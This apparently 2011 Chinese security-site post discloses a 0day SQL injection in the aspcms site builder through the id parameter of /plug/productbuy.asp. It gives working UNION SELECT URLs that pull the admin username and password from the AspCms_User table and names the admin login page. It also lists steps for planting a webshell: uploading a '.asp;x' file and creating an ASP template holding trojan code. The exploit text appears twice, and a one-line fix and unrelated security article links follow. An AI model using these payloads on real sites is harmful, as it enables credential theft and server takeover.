aspcms企業(yè)建站系統(tǒng)0day漏洞介紹
發(fā)布時(shí)間：2011-09-26 01:04:08 作者：佚名 
我要評(píng)論
我要評(píng)論aspcms企業(yè)建站系統(tǒng)0day 2.0以上通殺2011-08-14 19:21aspcms開(kāi)發(fā)的全新內(nèi)核的開(kāi)源企業(yè)建站系統(tǒng)，能夠勝任企業(yè)多種建站需求，并且支持模版自定義、支持?jǐn)U展插件等等，能夠在短時(shí)間內(nèi)完成企業(yè)建站。
漏洞出現(xiàn)在
/plug/productbuy.asp
對(duì)接收的參數(shù)id沒(méi)有進(jìn)行過(guò)濾而導(dǎo)致的注入漏洞
注入后的頁(yè)面有跳轉(zhuǎn)，所以要快，建議用快捷鍵復(fù)制
爆用戶名
/plug/productbuy.asp?id=2+union+select+1,2,LoginName,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,
26,27,28,29,30,31,32,33,34,35,36,37+from+AspCms_User+where+userid=1
這是爆ID=1的賬戶名，如果發(fā)現(xiàn)權(quán)限不夠可以往后試2,3,4...........
爆密碼
/plug/productbuy.asp?id=2+union+select+1,2,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,
26,27,28,29,30,31,32,33,34,35,36,37+from+AspCms_User+where+userid=1
后臺(tái)登錄地址：/admin/login.asp
后臺(tái)拿shell
1、直接上傳.asp;x
2、系統(tǒng)配置信息
3、模版管理新建1.asp模板，內(nèi)容寫(xiě)馬的內(nèi)容.
修復(fù)方法： id用cint(request("id"))
/plug/productbuy.asp
對(duì)接收的參數(shù)id沒(méi)有進(jìn)行過(guò)濾而導(dǎo)致的注入漏洞
注入后的頁(yè)面有跳轉(zhuǎn)，所以要快，建議用快捷鍵復(fù)制
爆用戶名
/plug/productbuy.asp?id=2+union+select+1,2,LoginName,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,
26,27,28,29,30,31,32,33,34,35,36,37+from+AspCms_User+where+userid=1
這是爆ID=1的賬戶名，如果發(fā)現(xiàn)權(quán)限不夠可以往后試2,3,4...........
爆密碼
/plug/productbuy.asp?id=2+union+select+1,2,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,
26,27,28,29,30,31,32,33,34,35,36,37+from+AspCms_User+where+userid=1
后臺(tái)登錄地址：/admin/login.asp
后臺(tái)拿shell
1、直接上傳.asp;x
2、系統(tǒng)配置信息
3、模版管理新建1.asp模板，內(nèi)容寫(xiě)馬的內(nèi)容.
修復(fù)方法： id用cint(request("id"))
相關(guān)文章
192.168.1.1進(jìn)入路由器默認(rèn)的用戶名和密碼是多少 常用路由默認(rèn)密碼大全
本文把路由器常用的品牌的默認(rèn)的密碼都發(fā)出來(lái).供大家參考2012-05-28加強(qiáng)企業(yè)Linux系統(tǒng)安全的若干方法
世界上沒(méi)有絕對(duì)安全的系統(tǒng)，即使是普遍認(rèn)為穩(wěn)定的Linux系統(tǒng)，在管理和安全方面也存在不足之處。我們期望讓系統(tǒng)盡量在承擔(dān)低風(fēng)險(xiǎn)的情況下工作，這就要加強(qiáng)對(duì)系統(tǒng)安全的管理2009-08-13運(yùn)用動(dòng)態(tài)安全域保護(hù)企業(yè)網(wǎng)的方法
網(wǎng)絡(luò)安全域是指同一系統(tǒng)內(nèi)有相同的安全保護(hù)需求、相互信任，并具有相同的安全訪問(wèn)控制和邊界控制策略的子網(wǎng)或網(wǎng)絡(luò)，相同的網(wǎng)絡(luò)安全域共享一樣的安全策略2012-07-20全面鞏固企業(yè)的內(nèi)網(wǎng)安全的10個(gè)招數(shù)
幾乎所有企業(yè)對(duì)于網(wǎng)絡(luò)安全的重視程度一下子提高了，紛紛采購(gòu)防火墻等設(shè)備希望堵住來(lái)自Internet的不安全因素。然而，Intranet內(nèi)部的攻擊和入侵卻依然猖狂。事實(shí)證明，公司內(nèi)2012-05-14mcafee 企業(yè)版8.0 i設(shè)置指南(圖文)
這里要說(shuō)的就是是否掃描壓縮文件，我的建議是不掃描，因?yàn)閽呙杷麄儠?huì)花去大量的時(shí)間，即時(shí)里面有病毒，也需要先解壓出來(lái)，就是直接運(yùn)行也要解壓到臨時(shí)文件夾，這個(gè)時(shí)候麥咖2009-10-08萬(wàn)博企業(yè)網(wǎng)站管理系統(tǒng)注入漏洞(MemberLogin.asp)
這個(gè)注入漏洞發(fā)生在html/MemberLogin.asp文件里，在Include下有NoSqlHack.Asp文件也沒(méi)調(diào)用，呵呵，就有了我們利用的地方了2011-11-19常見(jiàn)網(wǎng)絡(luò)安全問(wèn)題及解決辦法
網(wǎng)絡(luò)安全是一門(mén)涉及計(jì)算機(jī)、網(wǎng)絡(luò)、通訊、密碼、信息安全、應(yīng)用數(shù)學(xué)、數(shù)論、信息論等多種學(xué)科的綜合性學(xué)科，涉及面極廣，而且不斷更新和發(fā)展2013-03-20- Nmap這些年來(lái)功能越來(lái)越多， 它也是從一個(gè)高效的端口掃描器開(kāi)始的，并且那仍然是它的核心功能,它把端口分成六個(gè)狀態(tài):open(開(kāi)放的)，closed(關(guān)閉的)，filtered(被過(guò)濾的)，u2008-10-08
加強(qiáng)計(jì)算機(jī)的網(wǎng)絡(luò)安全級(jí)別控制設(shè)置的方法 防止非法攻擊
網(wǎng)絡(luò)安全永遠(yuǎn)是預(yù)防大于被動(dòng)的殺毒.防患于未然2012-05-31怎么采用DirectAccess來(lái)保護(hù)企業(yè)的網(wǎng)絡(luò)安全
現(xiàn)在微軟在Windows Server 2008 R2和Windows 7中引入了DirectAccess新功能，它是專(zhuān)為替代VPN連接而設(shè)計(jì)的下一代網(wǎng)絡(luò)連接。而且不需要用戶手動(dòng)連接VPN，只需打開(kāi)瀏覽器，系2016-07-06